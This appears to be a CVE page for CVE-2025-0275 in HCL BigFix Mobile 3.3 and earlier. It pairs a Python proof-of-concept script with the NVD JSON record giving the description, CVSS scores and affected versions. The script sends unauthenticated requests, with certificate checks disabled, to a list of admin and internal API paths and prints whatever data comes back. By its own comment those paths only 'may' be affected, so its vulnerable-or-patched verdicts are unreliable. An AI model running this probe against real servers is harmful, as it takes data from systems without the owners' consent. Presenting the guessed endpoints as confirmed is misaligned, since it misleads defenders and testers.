CVE-2025-0275

#!/usr/bin/env python3 # CVE-2025-0275 - HCL BigFix Mobile Improper Access Control PoC # This PoC demonstrates unauthorized access to protected endpoint actions # without authentication on HCL BigFix Mobile 3.3 and earlier. import requests import sys import json from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings (for self-signed certs in lab environments) requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://target-bigfix-mobile-host:443" # Known affected endpoint paths that may lack proper access control ENDPOINTS = [ "/api/admin/actions", "/api/endpoint/list", "/api/management/internal", "/api/devices/actions", "/mdm/api/internal/functions", ] def check_access_control(url, endpoint): """ Attempt to access protected endpoint without authentication. If the server returns 200 with data instead of 401/403, the access control is improperly implemented. """ target = url.rstrip('/') + endpoint headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher/1.0)", "Accept": "application/json", "Content-Type": "application/json" } try: resp = requests.get(target, headers=headers, verify=False, timeout=10) if resp.status_code == 200: print(f"[VULNERABLE] {endpoint} -> Status: {resp.status_code}") try: data = resp.json() print(f" Response preview: {json.dumps(data)[:200]}") except Exception: print(f" Response preview: {resp.text[:200]}") return True elif resp.status_code in (401, 403): print(f"[PROTECTED] {endpoint} -> Status: {resp.status_code}") else: print(f"[UNKNOWN] {endpoint} -> Status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] {endpoint} -> {e}") return False def main(): print(f"[*] CVE-2025-0275 PoC - HCL BigFix Mobile Access Control Check") print(f"[*] Target: {TARGET_URL}") print(f"[*] Scanning {len(ENDPOINTS)} endpoints...\n") vulnerable = [] for ep in ENDPOINTS: if check_access_control(TARGET_URL, ep): vulnerable.append(ep) print(f"\n[*] Summary: {len(vulnerable)} vulnerable endpoint(s) found.") if vulnerable: print("[!] Target is vulnerable to CVE-2025-0275.") sys.exit(0) else: print("[+] Target appears to be patched.") sys.exit(1) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-0275", "sourceIdentifier": "[email protected]", "published": "2025-10-16T06:15:35.373", "lastModified": "2025-10-21T18:17:18.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Mobile 3.3 and earlier is affected by improper access control. Unauthorized users can access a small subset of endpoint actions, potentially allowing access to select internal functions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_mobile:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.3", "matchCriteriaId": "97CEC651-375F-4FE8-B947-0A3D89FF0267"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_modern_client_management:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4", "matchCriteriaId": "251EA75C-E4D9-4A13-B13D-02DFF9E6161D"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124512", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}